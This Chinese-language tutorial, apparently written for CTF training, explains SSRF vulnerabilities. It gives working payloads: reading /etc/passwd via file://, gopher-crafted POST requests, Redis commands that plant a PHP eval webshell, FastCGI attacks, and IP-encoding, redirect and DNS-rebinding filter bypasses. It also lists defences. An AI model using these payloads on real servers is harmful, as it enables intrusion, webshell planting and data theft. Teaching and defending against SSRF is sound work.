浅析SSRF的各种利用方式
字数 1448 2025-08-29 08:32:19

SSRF漏洞全面分析与利用指南

一、SSRF基础概念

SSRF (Server-Side Request Forgery) 服务端请求伪造漏洞,是指攻击者能够通过服务器发起任意网络请求的一种安全漏洞。当服务端提供了从其他服务器获取数据的功能,但未对目标地址做严格过滤时,攻击者可构造恶意请求访问内网服务或本地资源。

漏洞成因

  • 服务端未对用户提供的URL进行充分验证和过滤
  • 服务器能够发起网络请求并返回响应数据
  • 攻击者可控制请求的目标地址

常见危险函数

  1. file_get_contents() - 将文件或URL内容读入字符串
  2. readfile() - 输出文件内容
  3. fsockopen() - 打开网络或Unix套接字连接
  4. curl_exec() - 执行cURL会话
  5. fopen() - 打开文件或URL

二、SSRF利用协议分析

1. HTTP协议

用途:访问内网Web服务,读取敏感信息

?url=http://127.0.0.1/flag.php

2. DICT协议

用途:探测内网主机存活和端口开放情况

?url=dict://127.0.0.1:6379/info  # 探测Redis服务

3. FILE协议

用途:读取服务器本地文件

?url=file:///etc/passwd
?url=file:///var/www/html/config.php

4. GOPHER协议

用途:构造任意协议请求,攻击内网服务

特点

  • 可构造GET/POST请求
  • 回车换行需使用%0d%0a
  • 参数间的&需URL编码

示例 - 构造POST请求:

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0a
Host:%20127.0.0.1%0d%0a
Content-Type:%20application/x-www-form-urlencoded%0d%0a
Content-Length:%2036%0d%0a
%0d%0a
key=c384d200658f258e5b5c681bf0aa29a8%0d%0a

5. FastCGI协议

用途:攻击PHP-FPM服务(默认端口9000)

利用步骤

  1. 使用工具生成攻击payload
  2. 编码后通过SSRF发送
python gopherus.py --exploit fastcgi /var/www/html/index.php

6. Redis协议

用途:攻击未授权Redis服务(默认端口6379)

攻击方式

  1. 写入Webshell
  2. 写入SSH公钥
  3. 主从复制RCE

Redis命令示例

flushall
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

三、SSRF绕过技术

1. URL绕过

场景:要求URL包含特定域名

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
?url=http://notfound.ctfhub@127.0.0.1/flag.php.com

2. 数字IP绕过

场景:过滤点分十进制IP

?url=http://0x7f.0.0.1/flag.php      # 十六进制
?url=http://0177.0.0.1/flag.php     # 八进制
?url=http://2130706433/flag.php     # 十进制
?url=http://0/flag.php              # 短地址

3. 302跳转绕过

场景:IP地址被过滤

  1. 在可控服务器设置302跳转
<?php header("Location: http://127.0.0.1/flag.php"); ?>
  1. 通过SSRF访问跳转页面

4. DNS重绑定

原理:利用DNS解析变化绕过IP检查

  1. 使用DNS重绑定服务(如rebinder.xyz)
  2. 域名首次解析为外网IP通过检查
  3. 后续解析为127.0.0.1实现内网访问

四、自动化利用工具

Gopherus

功能:生成各种协议的SSRF攻击payload

# FastCGI攻击
python gopherus.py --exploit fastcgi /var/www/html/index.php

# Redis攻击
python gopherus.py --exploit redis

SSRFmap

功能:自动化SSRF漏洞扫描和利用

python ssrfmap.py -r data/request.txt -p url -m portscan

五、防御措施

  1. 输入验证

    • 白名单域名/IP
    • 禁止内网IP段(127.0.0.0/8, 10.0.0.0/8等)
  2. 协议限制

    • 仅允许HTTP/HTTPS
    • 禁用file、gopher、dict等危险协议
  3. 网络层防护

    • 禁止服务器访问非必要内网服务
    • 设置网络访问控制列表(ACL)
  4. 其他措施

    • 禁用CURLOPT_FOLLOWLOCATION
    • 设置CURLOPT_PROTOCOLS限制协议
    • 启用DNS缓存防止重绑定

六、实战利用思路

  1. 信息收集

    • 使用file协议读取配置文件
    • 通过http/dict探测内网服务
  2. 服务识别

    • 端口扫描识别Redis/MySQL/FastCGI等服务
  3. 漏洞利用

    • Redis未授权→写Webshell/SSH key
    • FastCGI→PHP代码执行
    • MySQL→文件读取/写入
  4. 权限提升

    • 读取敏感文件(/etc/passwd, ~/.ssh/)
    • 利用服务漏洞获取更高权限

附录:参考资源

  1. SSRF漏洞的利用与攻击内网应用
  2. SSRF漏洞从入门到精通
  3. SSRF漏洞挖掘与利用技巧
SSRF漏洞全面分析与利用指南 一、SSRF基础概念 SSRF (Server-Side Request Forgery) 服务端请求伪造漏洞,是指攻击者能够通过服务器发起任意网络请求的一种安全漏洞。当服务端提供了从其他服务器获取数据的功能,但未对目标地址做严格过滤时,攻击者可构造恶意请求访问内网服务或本地资源。 漏洞成因 服务端未对用户提供的URL进行充分验证和过滤 服务器能够发起网络请求并返回响应数据 攻击者可控制请求的目标地址 常见危险函数 file_get_contents() - 将文件或URL内容读入字符串 readfile() - 输出文件内容 fsockopen() - 打开网络或Unix套接字连接 curl_exec() - 执行cURL会话 fopen() - 打开文件或URL 二、SSRF利用协议分析 1. HTTP协议 用途 :访问内网Web服务,读取敏感信息 2. DICT协议 用途 :探测内网主机存活和端口开放情况 3. FILE协议 用途 :读取服务器本地文件 4. GOPHER协议 用途 :构造任意协议请求,攻击内网服务 特点 : 可构造GET/POST请求 回车换行需使用 %0d%0a 参数间的 & 需URL编码 示例 - 构造POST请求: 5. FastCGI协议 用途 :攻击PHP-FPM服务(默认端口9000) 利用步骤 : 使用工具生成攻击payload 编码后通过SSRF发送 6. Redis协议 用途 :攻击未授权Redis服务(默认端口6379) 攻击方式 : 写入Webshell 写入SSH公钥 主从复制RCE Redis命令示例 : 三、SSRF绕过技术 1. URL绕过 场景 :要求URL包含特定域名 2. 数字IP绕过 场景 :过滤点分十进制IP 3. 302跳转绕过 场景 :IP地址被过滤 在可控服务器设置302跳转 通过SSRF访问跳转页面 4. DNS重绑定 原理 :利用DNS解析变化绕过IP检查 使用DNS重绑定服务(如rebinder.xyz) 域名首次解析为外网IP通过检查 后续解析为127.0.0.1实现内网访问 四、自动化利用工具 Gopherus 功能 :生成各种协议的SSRF攻击payload SSRFmap 功能 :自动化SSRF漏洞扫描和利用 五、防御措施 输入验证 : 白名单域名/IP 禁止内网IP段(127.0.0.0/8, 10.0.0.0/8等) 协议限制 : 仅允许HTTP/HTTPS 禁用file、gopher、dict等危险协议 网络层防护 : 禁止服务器访问非必要内网服务 设置网络访问控制列表(ACL) 其他措施 : 禁用CURLOPT_ FOLLOWLOCATION 设置CURLOPT_ PROTOCOLS限制协议 启用DNS缓存防止重绑定 六、实战利用思路 信息收集 : 使用file协议读取配置文件 通过http/dict探测内网服务 服务识别 : 端口扫描识别Redis/MySQL/FastCGI等服务 漏洞利用 : Redis未授权→写Webshell/SSH key FastCGI→PHP代码执行 MySQL→文件读取/写入 权限提升 : 读取敏感文件(/etc/passwd, ~/.ssh/) 利用服务漏洞获取更高权限 附录:参考资源 SSRF漏洞的利用与攻击内网应用 SSRF漏洞从入门到精通 SSRF漏洞挖掘与利用技巧